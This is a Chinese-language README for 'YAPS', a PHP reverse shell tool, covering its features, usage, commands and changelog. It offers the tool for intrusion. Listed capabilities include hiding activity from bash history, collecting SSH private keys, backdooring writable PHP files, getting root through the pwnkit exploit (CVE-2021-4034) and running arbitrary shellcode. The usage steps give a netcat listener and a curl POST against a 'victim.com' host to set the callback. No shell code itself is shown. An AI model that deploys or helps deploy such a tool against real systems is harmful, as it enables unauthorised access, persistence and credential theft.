YAPS - Yet Another PHP Shell

是的，正如其名，这是又一个PHP反向Shell，是市面上数百个同类工具之一，但拥有一些优势。它是一个单一的PHP文件，包含所有功能，你可以通过一个简单的TCP监听器（例如 nc -lp 1337）进行控制。

在当前版本（1.5）中，其主要功能仅支持Linux系统，但我计划使其也适用于Windows。

目前它处于第一版，我尚未进行大量测试，并且我还有很多事情打算在后续版本中完成和改进（尚未完成！），因此如果你发现任何bug或有功能改进的建议，请告知我。=)

特性

• 单一PHP文件（无需安装软件包、库，或下载大量文件）
• 兼容netcat、ncat、socat、multi/handler等几乎所有监听器
• 可自定义密码保护
• 不会在.bash_history中留下日志
• 进行一些信息收集
  • 网络信息（接口、iptables规则、活跃端口）
  • 用户信息
  • 列出SUID和GUID文件
  • 搜索SSH密钥（公钥和私钥）
  • 列出crontab
  • 列出可写的PHP文件
• 自动下载LinPEAS、LinEnum或Linux Exploit Suggester
• 在远程主机上编写并运行PHP代码
• 生成交互式反向Shell
• 根据需要复制任意数量的连接
• 自动更新
• 用后门感染PHP文件
• 通过pwnkit（CVE-2021-4034）自动获取root反向Shell
• [新增] 发送并执行Shellcode

缺点

• 连接未加密（目前）（nc不支持SSL）
• 非完全交互式（尽管你可以使用 !interactive 生成交互式Shell）
  • CTRL+C会中断；无法使用方向键导航（除非使用 rlwrap nc -lp <ip> <port>）

使用方法

1. 设置一个TCP监听器；
2. 设置你的IP和端口。可通过以下方式完成：
   • 2.1 在脚本开头编辑变量；
   • 2.2 通过POST请求设置（curl -x POST -d "x=ip:port" victim.com/yaps.php）；
3. 在浏览器中打开yaps.php，使用curl访问，或通过CLI运行；
   • 3.1 可以设置 yaps.php?s 或 yaps.php?silent 来隐藏横幅
   • 3.2 可以通过CLI运行：php yaps.php ip port
4. 开始渗透！

可用命令

• !help - 显示帮助菜单
• !all-colors - 切换所有颜色（兼容无颜色的TTY）
• !color - 切换PS1颜色（仅本地，不修改环境变量）
• !duplicate - 生成另一个YAPS连接
• !enum - 将LinPEAS和LinEnum下载到/tmp并使其就绪
• !info - 列出目标信息（上述提及的信息收集）
• !infect - 用后门感染可写的PHP文件
• !interactive - 在其他端口上生成交互式反向Shell（可与sudo、su、mysql等配合使用）
• !passwd - 密码选项（启用、禁用、设置、修改）
• !php - 在远程主机上编写并运行PHP代码
• !pwnkit - 尝试利用CVE-2021-4034并生成root反向Shell
• !shellcode - 在远程主机上发送并运行Shellcode

截图

点击展开截图区域

当前命令：

进行一些侦察：

通过CVE-2021-4034获取root反向Shell

发送并运行Shellcode！

生成交互式Shell

复制YAPS会话

投毒PHP文件

更新日志

v1.5 - 2022年2月12日

• 新增 !shellcode：接收并运行任意Shellcode
• 改进了 duplicate() 函数（现在可以指定端口范围）
• 函数名从 stabilize 改为 interactive
• 压缩内嵌代码以节省空间
• 修复了失效链接
• 在所有命令前添加 "TERM=xterm"
• 次要改进

v1.4 - 2022年2月4日

• 新增 !pwnkit：利用CVE-2021-4034并生成root反向Shell
• 改进了 verify_update() 函数
• 次要改进

v1.3.1 - 2021年8月1日

• 修复了bug

v1.3 - 2021年7月28日

• 新增 !infect：用后门感染PHP文件
• 修改了 !stabilize 的payload（修复了bug）

v1.2.2 - 2021年7月18日

• 修改了 'update' 函数
• 修改了 'connect' 函数
• 改进了 'download' 函数
• 修复了bug

v1.2.1 - 2021年7月17日

• 修复了bug

v1.2 - 2021年7月17日

• 新增 !duplicate：生成另一个Shell
• 新增更新检查（--update|-u）
• 新增CLI参数（--help|-h）
• 新增通过参数传递套接字（php yaps.php ip port）
• 修改了Shell稳定化方法（不再卡死）
• 修改了下载方法
• 修改了通过POST的连接方法（接收单个参数）

v1.1 - 2021年7月12日

• 新增 !all-colors：切换终端颜色，适用于无颜色的TTY
• 新增 exit 命令：关闭套接字（退出Shell）
• 修改了 !stabilize 中的payload：取消设置HISTSIZE和HISTFILE
• 修改了 !info 中获取CPU和内存信息的方法

v1.0.1 - 2021年7月8日

• 将 [x,y,z] 改为 array(x,y,z)，以提高与旧版PHP的兼容性
• 修改了交互式Shell的payload，以兼容PHP<5.4

致谢

部分灵感来源于以下工具：

Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum

https://github.com/rebootuser/LinEnum

Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell

Arthesy pwnkit exploit

https://github.com/arthepsy/CVE-2021-4034/